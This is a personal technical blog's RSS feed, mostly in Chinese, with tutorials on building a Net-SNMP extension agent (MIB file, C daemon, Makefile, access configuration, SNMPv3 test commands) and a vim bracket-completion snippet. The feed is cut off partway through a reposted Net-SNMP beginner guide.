<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:georss="http://www.georss.org/georss" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-6181670258151619494</atom:id><lastBuildDate>Tue, 21 Jun 2011 09:14:17 +0000</lastBuildDate><title>Border&#39;s English Blog</title><description>I am border, My fullname in Chinese is Bian Jiang (边江). This is my english blog, and my chinese blog is http://wifihack.net. currently living in BeiJing, China. I write code for work and for fun. I am interested in web technology, Linux kernel, wireless,  sencurity, Hacking &amp;  cross-platform.</description><link>http://borderjs.blogspot.com/</link><managingEditor>borderj@gmail.com (Bian Jiang)</managingEditor><generator>Blogger</generator><openSearch:totalResults>125</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-2032228807582362272</guid><pubDate>Fri, 25 Sep 2009 06:12:00 +0000</pubDate><atom:updated>2009-09-25T14:12:40.218+08:00</atom:updated><title>Efficient C Tips</title><description>&lt;div xmlns=&#39;http://www.w3.org/1999/xhtml&#39;&gt;&lt;p&gt;efficient C for an embedded target&lt;/p&gt;in reference to: &lt;a href=&#39;http://www.embeddedgurus.net/stack-overflow/2008/06/efficient-c-tips-1-choosing-correct.html&#39;&gt;Stack Overflow: Efficient C Tips #1 - Choosing the correct integer size&lt;/a&gt; (&lt;a href=&#39;http://www.google.com/sidewiki/entry/borderj/id/WFnNiKREolomaDLLGH-b1cdAB2A&#39;&gt;view on Google Sidewiki&lt;/a&gt;)&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-2032228807582362272?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2009/09/efficient-c-tips.html</link><author>borderj@gmail.com (Bian Jiang)</author><thr:total>14</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-4330393003421405671</guid><pubDate>Wed, 05 Nov 2008 09:17:00 +0000</pubDate><atom:updated>2008-11-05T17:20:29.836+08:00</atom:updated><title>[ SNMP ] Develop NetSnmp Extending agent</title><description>1. mib 库文件 BVCOM-SYSTEMUPTIME-MIB.txt&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB DEFINITIONS ::= BEGIN&lt;br /&gt;&lt;br /&gt;IMPORTS&lt;br /&gt;    TimeTicks   FROM SNMPv2-SMI&lt;br /&gt;    enterprises      FROM SNMPv2-SMI&lt;br /&gt;    OBJECT-TYPE, Integer32, MODULE-IDENTITY      FROM SNMPv2-SMI;&lt;br /&gt;   &lt;br /&gt;bvcom    OBJECT IDENTIFIER ::= { enterprises 26814 }&lt;br /&gt;&lt;br /&gt;ipq6800    OBJECT IDENTIFIER ::= { bvcom 6800 }&lt;br /&gt;&lt;br /&gt;bvcomAgentModules   OBJECT IDENTIFIER ::= { ipq6800 1 }&lt;br /&gt;&lt;br /&gt;bvcomAgentModuleObject OBJECT-TYPE&lt;br /&gt;    SYNTAX      Integer32&lt;br /&gt;    MAX-ACCESS  read-write&lt;br /&gt;    STATUS      current&lt;br /&gt;    DESCRIPTION&lt;br /&gt;    &quot;This is an object that simply supports a writable integer&lt;br /&gt;     when compiled into the agent.  See&lt;br /&gt;     &lt;a href=&quot;http://www.net-snmp.org/tutorial-5/toolkit/XXX&quot;&gt;http://www.net-snmp.org/tutorial-5/toolkit/XXX&lt;/a&gt; for further&lt;br /&gt;     implementation details.&quot;&lt;br /&gt;    DEFVAL { 1 }&lt;br /&gt;    ::= { bvcomAgentModules 1 }&lt;br /&gt;&lt;br /&gt;bvcomAgentSubagentObject OBJECT-TYPE&lt;br /&gt;    SYNTAX      Integer32&lt;br /&gt;    MAX-ACCESS  read-write&lt;br /&gt;    STATUS      current&lt;br /&gt;    DESCRIPTION&lt;br /&gt;    &quot;This is an object that simply supports a writable integer&lt;br /&gt;     when attached to the agent.  The object should be accessible&lt;br /&gt;     when the agentx subagent containing this object is attached.&lt;br /&gt;     See &lt;a href=&quot;http://www.net-snmp.org/tutorial-5/toolkit/XXX&quot;&gt;http://www.net-snmp.org/tutorial-5/toolkit/XXX&lt;/a&gt; for&lt;br /&gt;     further implementation details.&quot;&lt;br /&gt;    DEFVAL { 2 }&lt;br /&gt;    ::= { bvcomAgentModules 2 }&lt;br /&gt;&lt;br /&gt;bvcomAgentPluginObject OBJECT-TYPE&lt;br /&gt;    SYNTAX      Integer32&lt;br /&gt;    MAX-ACCESS  read-write&lt;br /&gt;    STATUS      current&lt;br /&gt;    DESCRIPTION&lt;br /&gt;    &quot;This is an object that simply supports a writable integer&lt;br /&gt;     when attached to the agent.  This object should be accessible&lt;br /&gt;     when the dynamic plugin has been loaded into the agent.  See&lt;br /&gt;     &lt;a href=&quot;http://www.net-snmp.org/tutorial-5/toolkit/XXX&quot;&gt;http://www.net-snmp.org/tutorial-5/toolkit/XXX&lt;/a&gt; for further&lt;br /&gt;     implementation details.&quot;&lt;br /&gt;    DEFVAL { 3 }&lt;br /&gt;    ::= { bvcomAgentModules 3 }&lt;br /&gt;&lt;br /&gt;END&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. 复制mib库文件到/usr/local/share/snmp/mibs/&lt;br /&gt;sudo cp BVCOM-SYSTEMUPTIME-MIB.txt /usr/local/share/snmp/mibs/&lt;br /&gt;&lt;br /&gt;3.  加载mib库&lt;br /&gt;cat /usr/local/share/snmp/snmp.conf&lt;br /&gt;mibs +BVCOM-SYSTEMUPTIME-MIB&lt;br /&gt;&lt;br /&gt;4. 检查mib是否正常加载&lt;br /&gt;border@debian:/work/border/snmp/example-demon$ snmptranslate -IR -Tp bvcom&lt;br /&gt;+--bvcom(26814)&lt;br /&gt;   |&lt;br /&gt;   +--ipq6800(6800)&lt;br /&gt;      |&lt;br /&gt;      +--bvcomAgentModules(1)&lt;br /&gt;         |&lt;br /&gt;         +-- -RW- Integer32 bvcomAgentModuleObject(1)&lt;br /&gt;         +-- -RW- Integer32 bvcomAgentSubagentObject(2)&lt;br /&gt;         +-- -RW- Integer32 bvcomAgentPluginObject(3)&lt;br /&gt;&lt;br /&gt;5. 查看mib2c支持的模板&lt;br /&gt;border@debian:/work/border/snmp/example-demon$ ls /usr/local/share/snmp/&lt;br /&gt;mib2c.access_functions.conf    mib2c.create-dataset.conf  mib2c.scalar.conf&lt;br /&gt;mib2c.array-user.conf          mib2c-data                 mib2c.table_data.conf&lt;br /&gt;mib2c.check_values.conf        mib2c.genhtml.conf         mibs&lt;br /&gt;mib2c.check_values_local.conf  mib2c.int_watch.conf       snmp.conf&lt;br /&gt;mib2c.column_defines.conf      mib2c.iterate_access.conf  snmp.conf~&lt;br /&gt;mib2c.column_enums.conf        mib2c.iterate.conf         snmpconf-data&lt;br /&gt;mib2c.column_storage.conf      mib2c.mfd.conf             snmpd.conf&lt;br /&gt;mib2c.conf                     mib2c.notify.conf          snmp_perl.pl&lt;br /&gt;mib2c.container.conf           mib2c.old-api.conf         snmp_perl_trapd.pl&lt;br /&gt;&lt;br /&gt;6. 通过模板生成.c 和 .h 文件&lt;br /&gt;border@debian:/work/border/snmp/example-demon$ mib2c -c mib2c.int_watch.conf bvcomAgentModules&lt;br /&gt;writing to -&lt;br /&gt;*** Warning: only generating code for nodes of MIB type INTEGER&lt;br /&gt;writing to bvcomAgentModules.h&lt;br /&gt;writing to bvcomAgentModules.c&lt;br /&gt;running indent on bvcomAgentModules.c&lt;br /&gt;running indent on bvcomAgentModules.h&lt;br /&gt;&lt;br /&gt;7. 通过 snmp_agent_api 编写守护程序 example-demon.c&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-config.h&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-includes.h&gt;&lt;br /&gt;#include &lt;net-snmp/agent/net-snmp-agent-includes.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;#include &quot;bvcomAgentModules.h&quot;&lt;br /&gt;&lt;br /&gt;static int keep_running;&lt;br /&gt;&lt;br /&gt;RETSIGTYPE&lt;br /&gt;stop_server(int a) {&lt;br /&gt;    keep_running = 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;main (int argc, char **argv) {&lt;br /&gt;&lt;br /&gt;    int agentx_subagent=0; /* change this if you want to be a SNMP master agent */&lt;br /&gt;    int background = 0; /* change this if you want to run in the background */&lt;br /&gt;    int syslog = 0; /* change this if you want to use syslog */&lt;br /&gt;&lt;br /&gt;    /* print log errors to syslog or stderr */&lt;br /&gt;&lt;br /&gt;    if (syslog)&lt;br /&gt;        snmp_enable_calllog();&lt;br /&gt;    else&lt;br /&gt;        snmp_enable_stderrlog();&lt;br /&gt;&lt;br /&gt;    /* we&#39;re an agentx subagent? */&lt;br /&gt;    if (agentx_subagent) {&lt;br /&gt;        /* make us a agentx client. */&lt;br /&gt;        netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID, NETSNMP_DS_AGENT_ROLE, 1);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /* run in background, if requested */&lt;br /&gt;    if (background &amp;&amp; netsnmp_daemonize(1, !syslog))&lt;br /&gt;        exit(1);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /* Initialize tcpip, if necessary */&lt;br /&gt;    SOCK_STARTUP;&lt;br /&gt;&lt;br /&gt;    /* Initialize the agent library */&lt;br /&gt;    init_agent(&quot;example-demon&quot;); // 配置文件名&lt;br /&gt;&lt;br /&gt;    /* Initialize our mib code here */&lt;br /&gt;    printf(&quot;Before init bvcomAgentModules \n&quot;);&lt;br /&gt;&lt;br /&gt;    init_bvcomAgentModules(); // 加载节点信息&lt;br /&gt;   &lt;br /&gt;    printf(&quot;End init bvcomAgentModules \n&quot;);&lt;br /&gt;&lt;br /&gt;    /* initialize vacm/usm access control  */&lt;br /&gt;    if (!agentx_subagent) {&lt;br /&gt;        void  init_vacm_vars();&lt;br /&gt;        void  init_usmUser();&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /* Example-demon will be used to read example-demon.conf files. */&lt;br /&gt;    init_snmp(&quot;example-demon&quot;);&lt;br /&gt;&lt;br /&gt;    /* If we&#39;re going to be a snmp master agent, initial the ports */&lt;br /&gt;    if (!agentx_subagent)&lt;br /&gt;        init_master_agent();  /* open the port to listen on (defaults to udp:161) */&lt;br /&gt;&lt;br /&gt;    printf(&quot;---------------------\n&quot;);&lt;br /&gt;    /* In case we recevie a request to stop (kill -TERM or kill -INT) */&lt;br /&gt;    keep_running = 1;&lt;br /&gt;    signal(SIGTERM, stop_server);&lt;br /&gt;&lt;br /&gt;    signal(SIGINT, stop_server);&lt;br /&gt;&lt;br /&gt;    snmp_log(LOG_INFO,&quot;example-demon is up and running.\n&quot;);&lt;br /&gt;&lt;br /&gt;    /* your main loop here... */&lt;br /&gt;    while(keep_running) {&lt;br /&gt;        /* if you use select(), see snmp_select_info() in snmp_api(3) */&lt;br /&gt;        /*     --- OR ---  */&lt;br /&gt;        agent_check_and_process(1); /* 0 == don&#39;t block */&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /* at shutdown time */&lt;br /&gt;    snmp_shutdown(&quot;example-demon&quot;);&lt;br /&gt;    SOCK_CLEANUP;&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;8. Makefile&lt;br /&gt;&lt;br /&gt;CC=gcc&lt;br /&gt;&lt;br /&gt;OBJS2=example-demon.o bvcomAgentModules.o&lt;br /&gt;TARGETS=example-demon&lt;br /&gt;&lt;br /&gt;CFLAGS=-I. `net-snmp-config --cflags`&lt;br /&gt;BUILDLIBS=`net-snmp-config --libs`&lt;br /&gt;BUILDAGENTLIBS=`net-snmp-config --agent-libs`&lt;br /&gt;&lt;br /&gt;# shared library flags (assumes gcc)&lt;br /&gt;DLFLAGS=-fPIC -shared&lt;br /&gt;&lt;br /&gt;all: $(TARGETS)&lt;br /&gt;&lt;br /&gt;example-demon: $(OBJS2)&lt;br /&gt;    $(CC) -o example-demon $(OBJS2)  $(BUILDAGENTLIBS)&lt;br /&gt;&lt;br /&gt;clean:&lt;br /&gt;    rm $(OBJS2) $(OBJS2) $(TARGETS)&lt;br /&gt;   &lt;br /&gt;&lt;br /&gt;9. example-demon.conf&lt;br /&gt;&lt;br /&gt;###############################################################################&lt;br /&gt;# Access Control&lt;br /&gt;###############################################################################&lt;br /&gt;&lt;br /&gt;#       &lt;a href=&quot;http://sec.name/&quot;&gt;sec.name&lt;/a&gt;  source          community&lt;br /&gt;com2sec local     localhost       public&lt;br /&gt;com2sec mynetwork &lt;a href=&quot;http://192.168.0.0/24&quot;&gt;192.168.0.0/24&lt;/a&gt;      public&lt;br /&gt;&lt;br /&gt;####&lt;br /&gt;# Second, map the security names into group names:&lt;br /&gt;&lt;br /&gt;#                 sec.model  &lt;a href=&quot;http://sec.name/&quot;&gt;sec.name&lt;/a&gt;&lt;br /&gt;group MyRWGroup    v1         local&lt;br /&gt;group MyRWGroup    v2c        local&lt;br /&gt;group MyRWGroup    usm        local&lt;br /&gt;group MyROGroup v1         mynetwork&lt;br /&gt;group MyROGroup v2c        mynetwork&lt;br /&gt;group MyROGroup usm        mynetwork&lt;br /&gt;&lt;br /&gt;####&lt;br /&gt;# Third, create a view for us to let the groups have rights to:&lt;br /&gt;&lt;br /&gt;#           incl/excl subtree                          mask&lt;br /&gt;view all    included  .1                               80&lt;br /&gt;&lt;br /&gt;####&lt;br /&gt;# Finally, grant the 2 groups access to the 1 view with different&lt;br /&gt;# write permissions:&lt;br /&gt;&lt;br /&gt;#                context sec.model sec.level match  read   write  notif&lt;br /&gt;access MyROGroup &quot;&quot;      any       noauth    exact  all    none   none&lt;br /&gt;access MyRWGroup &quot;&quot;      any       noauth    exact  all    all    none&lt;br /&gt;&lt;br /&gt;agentaddress 161&lt;br /&gt;&lt;br /&gt;10.  运行example-demon 时要用超级管理员运行，不然会出错。&lt;br /&gt;sudo ./example-demon&lt;br /&gt;&lt;br /&gt;a. 没有用超级管理员时，报的错误：&lt;br /&gt;border@debian:/work/border/snmp/example-demon$ ./example-demon&lt;br /&gt;netsnmp_assert !&quot;registration != duplicate&quot; failed agent_registry.c:535 netsnmp_subtree_load()&lt;br /&gt;netsnmp_assert !&quot;registration != duplicate&quot; failed agent_registry.c:535 netsnmp_subtree_load()&lt;br /&gt;netsnmp_assert !&quot;registration != duplicate&quot; failed agent_registry.c:535 netsnmp_subtree_load()&lt;br /&gt;Before init bvcomAgentModules&lt;br /&gt;End init bvcomAgentModules&lt;br /&gt;Error opening specified endpoint &quot;161&quot;&lt;br /&gt;---------------------&lt;br /&gt;example-demon is up and running.&lt;br /&gt;read_config_store open failure on /var/net-snmp/example-demon.conf&lt;br /&gt;read_config_store open failure on /var/net-snmp/example-demon.conf&lt;br /&gt;read_config_store open failure on /var/net-snmp/example-demon.conf&lt;br /&gt;&lt;br /&gt;b. 如果 报Error opening specified endpoint &quot;&quot;错，说明example-demon.conf配置文件没有agentaddress 161&lt;br /&gt;&lt;br /&gt;11. 拷贝配置文件到 ~/.snmp/目录下&lt;br /&gt;cp example-demon.conf /home/border/.snmp/&lt;br /&gt;&lt;br /&gt;12.  sudo ./example-demon&lt;br /&gt;&lt;br /&gt;border@debian:~$ snmpwalk -v1 -c public localhost bvcom&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentModuleObject.0 = INTEGER: 68001&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentSubagentObject.0 = INTEGER: 68002&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentPluginObject.0 = INTEGER: 68003&lt;br /&gt;End of MIB&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;border@debian:~$ snmpget -v1 -c public localhost bvcomAgentModuleObject.0&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentModuleObject.0 = INTEGER: 68001&lt;br /&gt;&lt;br /&gt;border@debian:~$ snmpgetnext -v1 -c public localhost bvcomAgentModuleObject.0&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentSubagentObject.0 = INTEGER: 68002&lt;br /&gt;&lt;br /&gt;13. 支持snmpv3 在配置文件中增加&lt;br /&gt;rwuser border&lt;br /&gt;rwuser border1&lt;br /&gt;createUser border MD5 &quot;bvcombjbj&quot; DES&lt;br /&gt;createUser border1 SHA &quot;bvcombjbj&quot; AES&lt;br /&gt;(最后一行也可以这样写：createUser border1 SHA &quot;bvcombjbj&quot; AES128)&lt;br /&gt;&lt;br /&gt;通过如下命令验证:&lt;br /&gt;a. 验证MD5&lt;br /&gt;snmpwalk -v3 -l authPriv -u border -A bvcombjbj -X bvcombjbj localhost bvcom&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentModuleObject.0 = INTEGER: 68001&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentSubagentObject.0 = INTEGER: 68002&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentPluginObject.0 = INTEGER: 68003&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentPluginObject.0 = No more variables left in this MIB View (It is past the end of the MIB tree)&lt;br /&gt;&lt;br /&gt;b. 验证SHA&lt;br /&gt;snmpwalk -v3 -l authPriv -u border1 -a SHA -x AES -A bvcombjbj -X bvcombjbj localhost bvcom&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentModuleObject.0 = INTEGER: 68001&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentSubagentObject.0 = INTEGER: 68002&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentPluginObject.0 = INTEGER: 68003&lt;br /&gt;BVCOM-SYSTEMUPTIME-MIB::bvcomAgentPluginObject.0 = No more variables left in this MIB View (It is past the end of the MIB tree)&lt;br /&gt;&lt;br /&gt;如果你采用的是AES128,就需要把-x AES改为-x AES128：&lt;br /&gt;snmpwalk -v3 -l authPriv -u border1 -a SHA -x AES128 -A bvcombjbj -X bvcombjbj localhost bvcom&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;参考:&lt;br /&gt;     1. 用NET-SNMP软件包开发简单客户端代理 &lt;a href=&quot;http://b0rder.com/wiki/NetSnmp/NetSnmpSimpleAgentMib&quot;&gt;http://b0rder.com/wiki/NetSnmp/NetSnmpSimpleAgentMib&lt;/a&gt;&lt;br /&gt;    2. snmpd.examples 配置信息相关  &lt;a href=&quot;http://www.net-snmp.org/docs/man/snmpd.examples.html&quot;&gt;http://www.net-snmp.org/docs/man/snmpd.examples.html&lt;/a&gt;&lt;br /&gt;    3. snmp_agent_api &lt;a href=&quot;http://www.net-snmp.org/docs/man/snmp_agent_api.html&quot;&gt;http://www.net-snmp.org/docs/man/snmp_agent_api.html&lt;/a&gt;&lt;br /&gt;    4. Tutorial &lt;a href=&quot;http://www.nwsmith.net/HintsTips/net-snmp-tutorial.htm&quot;&gt;http://www.nwsmith.net/HintsTips/net-snmp-tutorial.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;Bian Jiang&lt;br /&gt;Blog:  &lt;a href=&quot;http://www.b0rder.com/&quot;&gt;http://www.b0rder.com/&lt;/a&gt;&lt;br /&gt;Mail:   borderj {at} &lt;a href=&quot;http://gmail.com/&quot;&gt;gmail.com&lt;/a&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-4330393003421405671?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/11/snmp-develop-netsnmp-extending-agent.html</link><author>borderj@gmail.com (Border)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-6273566198577762640</guid><pubDate>Fri, 26 Sep 2008 16:09:00 +0000</pubDate><atom:updated>2008-09-27T00:09:17.939+08:00</atom:updated><title>vim 括号自动补全</title><description>&lt;div dir=&quot;ltr&quot;&gt;&lt;br&gt;&quot;---------------------------------------------------------------------------&lt;br&gt;&quot; 括号自动补全&lt;br&gt;&quot; &lt;a href=&quot;http://www.linuxgem.org/tip/bracket-auto-closing-in-vim.html&quot;&gt;http://www.linuxgem.org/tip/bracket-auto-closing-in-vim.html&lt;/a&gt;&lt;br&gt; &quot;---------------------------------------------------------------------------&lt;br&gt;:inoremap ( ()&lt;ESC&gt;i&lt;br&gt;:inoremap ) &lt;c-r&gt;=ClosePair(&#39;)&#39;)&lt;CR&gt;&lt;br&gt;:inoremap { {}&lt;ESC&gt;i&lt;br&gt;:inoremap } &lt;c-r&gt;=ClosePair(&#39;}&#39;)&lt;CR&gt;&lt;br&gt; :inoremap [ []&lt;ESC&gt;i&lt;br&gt;:inoremap ] &lt;c-r&gt;=ClosePair(&#39;]&#39;)&lt;CR&gt;&lt;br&gt;:inoremap &lt; &lt;&gt;&lt;ESC&gt;i&lt;br&gt;:inoremap &gt; &lt;c-r&gt;=ClosePair(&#39;&gt;&#39;)&lt;CR&gt;&lt;br&gt;&lt;br&gt;function ClosePair(char)&lt;br&gt;     if getline(&#39;.&#39;)[col(&#39;.&#39;) - 1] == a:char&lt;br&gt;        return &quot;\&lt;Right&gt;&quot;&lt;br&gt;    else&lt;br&gt;        return a:char&lt;br&gt;    endif&lt;br&gt;endf&lt;br&gt;&lt;br&gt;&lt;br clear=&quot;all&quot;&gt;&lt;br&gt;-- &lt;br&gt;Jiang Bian&lt;br&gt;Blog:  &lt;a href=&quot;http://www.b0rder.com/&quot;&gt;http://www.b0rder.com/&lt;/a&gt;&lt;br&gt; Mail:   borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt;&lt;br&gt; &lt;/div&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-6273566198577762640?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/09/vim.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-2247116684077304</guid><pubDate>Fri, 26 Sep 2008 09:57:00 +0000</pubDate><atom:updated>2008-09-26T18:09:31.073+08:00</atom:updated><title>用 NET-SNMP 软件包开发简单客户端代理( Agent-mib)</title><description>用NET-SNMP软件包开发简单客户端代理&lt;br /&gt;&lt;br /&gt;写在前面的话：&lt;br /&gt;&lt;br /&gt;对于net-snmp我也是一个初学者，开始学习时也碰到了很多低级的问题。在很多论坛上（事实上比较少^_^, 建议大家直接去sourcefoge社区看关于net-snmp的mail-list），都没有比较初级入门的文章，本着开源学习的精神，把自己的一点收获，共享给大家。通过参考一些前辈的文章和帮助文档，本文实现了一个简单的mib，并编写了文档。本文主要面向初级学习者（我也是个菜鸟），欢迎大家留言讨论。&lt;br /&gt;&lt;br /&gt;作者：solomoon&lt;br /&gt;完成时间：2005-9-11&lt;br /&gt;Email：lilofreeman@yahoo.com.cn&lt;br /&gt;Web：http://bibu.blogchina.com&lt;br /&gt;&lt;br /&gt;1 SNMP协议简介. 3&lt;br /&gt;     1.1  网络管理协议结构... 3&lt;br /&gt;     1.2  管理信息库... 4&lt;br /&gt;    1.3 SNMP的版本... 4&lt;br /&gt;2 SNMP开发软件包. 5&lt;br /&gt;    2.1 NET-SNMP简介和安装... 5&lt;br /&gt;    2.2 NET-SNMP代理的配置... 5&lt;br /&gt;    2.3 NET-SNMP工具的使用... 6&lt;br /&gt;3 扩展开发――代理. 7&lt;br /&gt;    3.1 NET-SNMP中的scalar对象和table对象... 7&lt;br /&gt;    3.2 NET-SNMP扩展代理的两种方式... 7&lt;br /&gt;     3.3 自定义MIB. 8&lt;br /&gt;     3.4 自定义MIB――简单变量的实现... 9&lt;br /&gt;     3.5 自定义MIB――表对象的实现... 11&lt;br /&gt;        3.5.1  mib.iterator.conf模版的实现... 11&lt;br /&gt;        3.5.2  mib.iterator_access.conf模版的实现... 16&lt;br /&gt;     3.6 代码的合并... 16&lt;br /&gt;     3.7 配置和运行... 16&lt;br /&gt;4 开发中的问题与解决. 17&lt;br /&gt;5 总结. 17&lt;br /&gt;6 附录. 18&lt;br /&gt;    6.1 主函数foxmail_new.c. 18&lt;br /&gt;    6.2 简单变量实现代码... 20&lt;br /&gt;        6.2.1 display_time.c. 20&lt;br /&gt;        6.2.2 display_time.h. 22&lt;br /&gt;    6.3 表的实现... 22&lt;br /&gt;        6.3.1 ExampleTable.c. 22&lt;br /&gt;        6.3.2 ExampleTable.h. 31&lt;br /&gt;        6.3.3 ExampleTable_access.c. 31&lt;br /&gt;        6.3.4 ExampleTable_access.h. 40&lt;br /&gt;        6.3.5 ExampleTable_checkfns.c. 40&lt;br /&gt;        6.3.6 ExampleTable_checkfns.h. 41&lt;br /&gt;        6.3.7 ExampleTable_checkfns_local.c. 42&lt;br /&gt;        6.3.8 ExampleTable_checkfns_local.h. 43&lt;br /&gt;        6.3.9 ExampleTable_columns.h. 43&lt;br /&gt;        6.3.10 ExampleTable_enums.h. 44&lt;br /&gt;    6.4 自定义mib文件MyMib.txt 44&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;用NET-SNMP软件包开发简单客户端代理&lt;br /&gt;1           SNMP协议简介&lt;br /&gt;&lt;br /&gt;作为一个完备的系统，必须有一套反馈机制来调整系统的运行。简单网络管理协议产生的目的，就是为了使松散的网络更加有效地运行。它广泛的应用于监测网络的状态、网络设备的运行情况、各种电脑设备以及一些辅助的外围设备，使得网络管理员通过对节点的查询和设置，发现并定位故障，进而采取相应措施维护网络。网络管理的研究已经发展了许多年，对于日益纷繁的需求，简捷性和扩展性仍是研究的主题。本文档的目的是关于客户端代理的开发，不是对协议发展的探讨。本文中协议相关资料可以参考RFC文档：     &lt;br /&gt;&lt;br /&gt;RFC1155：Structure and Identification of Management Information for TCP/IP-based&lt;br /&gt;&lt;br /&gt;Internets        &lt;br /&gt;&lt;br /&gt;RFC1157： SNMP                 &lt;br /&gt;&lt;br /&gt;RFC1212： Concise MIB Definitions&lt;br /&gt;&lt;br /&gt;RFC1215： A Convention for Defining Traps&lt;br /&gt;&lt;br /&gt;RFC1905： Protocol Operations for SNMPv2       &lt;br /&gt;&lt;br /&gt;RFC2011： SNMPv2 Management Information Base for the Internet Protocol using SMIv2&lt;br /&gt;&lt;br /&gt;RFC2578： Structure of Management Information&lt;br /&gt;&lt;br /&gt;RFC2579： Textual Conventions&lt;br /&gt;&lt;br /&gt;RFC2580： Conformance Statements&lt;br /&gt;1.1         网络管理协议结构&lt;br /&gt;&lt;br /&gt;SNMP的网络管理模型包括以下关键元素：管理端、代理端、管理信息库、网络管理协议。它基于tcp/ip协议，属于应用层协议，通过udp协议通信。管理端与代理端的通信原语包括：Get,Getnext,Set,Trap。对应这些命令相应的SNMP结构框架实现如图1所示&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;图1.    SNMP实现结构图&lt;br /&gt;&lt;br /&gt;从上图我们可以看到协议，消息传递方式等。另外，在udp数据包中，发送信息是按ASN.1自解释方式编码的。但对于许多小型被监管设备，可能会运行不同协议，或者运行完整代理花费很大，于是产生了代管设备，主代理和子代理的概念。在小型设备上运行子代理，把数据发给主代理来完成snmp协议的通信。&lt;br /&gt;1.2          管理信息库&lt;br /&gt;&lt;br /&gt;SNMP以MIB（管理信息结构）为基础来描述被监管资源，由此建立的数据集和称之为MIB&lt;br /&gt;&lt;br /&gt;库。它是一种树型结构的数据库，被监管的对象都处于叶子节点上。每个被监管对象都由一个唯一的对象标识符来识别。对象信息的存储结构由MIB定义的简单变量和表来构造，它一般包含描述名（对象标识符）、数据类型、读写规则、功能描述、状态。MIB的定义可以查询RFC1155，它定义了四种基本数据类型：INTEGER，OCTET STRING，OBJECT IDENTIFIER和NULL。由这四种基本类型通过SEQUENCE构造列和表，以及新类型如：NetworkAddress、IpAddress、Counter、Gauge、TimeTicks、Opaque等，以及宏定义。当然，根据需要还可以构造自己的数据类型。&lt;br /&gt;1.3         SNMP的版本&lt;br /&gt;&lt;br /&gt;目前SNMP有三个版本snmpV1、snmpV2、snmpV3。针对原始的V1版，93版的v2加入了安全机制，但用户对其并不感兴趣，在96版的v2中又删除了安全机制，99年开始酝酿的v3版开始提出一个snmp的统一架构，采用User-based安全模型和View-based访问控制模型提供SNMP网络管理的安全性。安全机制是SNMPv3的最具特色的内容。&lt;br /&gt;2           SNMP开发软件包&lt;br /&gt;&lt;br /&gt;目前，开发SNMP的软件包有许多可以选择如SNMP++、AGENT++、NET-SNMP等。这里我们选用的是NET-SNMP。首先它是一个开源软件，其次基于C语言开发，便于移植。ucd-snmp源自于卡耐基.梅隆大学的SNMP软件包CMU snmp 2.1.2.1, 由加州大学Davis分校(University of California at Davis)开发与维护, 所以命名为ucd-snmp。2000年11月ucd-snmp项目转到由SourceForge(www.sourceforge.net)管理, 并更名为net-snmp。&lt;br /&gt;2.1         NET-SNMP简介和安装&lt;br /&gt;&lt;br 